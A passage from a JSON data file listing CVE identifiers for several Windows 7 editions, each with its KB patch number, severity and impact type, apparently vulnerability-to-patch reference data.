Privilege\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981332\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3147\",\"kb\":\"2423089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3227\",\"kb\":\"2387149\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2360131\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3332\",\"kb\":\"2416472\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518870\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows 7 for 32-bit Systems Service Pack 1\":[{\"cve\":\"CVE-2010-3332\",\"kb\":\"2416472\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518870\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1347\",\"kb\":\"2847204\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3893\",\"kb\":\"2879017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-7331\",\"kb\":\"2977629\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2901126\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4114\",\"kb\":\"3000869\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0002\",\"kb\":\"3023266\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3013455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0016\",\"kb\":\"3019978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1635\",\"kb\":\"3042553\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2502\",\"kb\":\"3087985\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2509\",\"kb\":\"3087918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6127\",\"kb\":\"3108669\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6130\",\"kb\":\"3108670\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6131\",\"kb\":\"3108669\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108381\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3104002\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3121918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3121918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3126593\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0063\",\"kb\":\"3134814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3139914\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0189\",\"kb\":\"3154070\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3192391\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3197867\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3197867\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012212\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0045\",\"kb\":\"4012212\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0101\",\"kb\":\"4012215\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0199\",\"kb\":\"4015549\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4019264\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019264\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041681\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4054518\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022719\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8469\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8472\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8488\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022719\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025341\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8680\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038777\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8684\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8685\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8710\",\"kb\":\"4038777\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056894\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056894\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088875\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088875\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088875\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093118\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8120\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103718\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457144\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462923\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462923\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457144\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462923\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467107\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467107\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480970\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0708\",\"kb\":\"4499164\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0808\",\"kb\":\"4489878\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530734\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534310\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537820\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540688\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550964\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556836\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556836\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571729\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571729\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003233\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003233\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003667\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005633\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006743\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014748\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Windows 7 for x64-based Systems\":[{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981332\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3147\",\"kb\":\"2423089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3227\",\"kb\":\"2387149\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2360131\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3332\",\"kb\":\"2416472\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518870\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows 7 for x64-based Systems Service Pack 1\":[{\"cve\":\"CVE-2010-3332\",\"kb\":\"2416472\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518870\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1347\",\"kb\":\"2847204\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3893\",\"kb\":\"2879017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-7331\",\"kb\":\"2977629\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2901126\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4114\",\"kb\":\"3000869\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0002\",\"kb\":\"3023266\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3013455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0016\",\"kb\":\"3019978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1635\",\"kb\":\"3042553\",\"severity\":\"Critical\",\"impact\":\"Remote Code 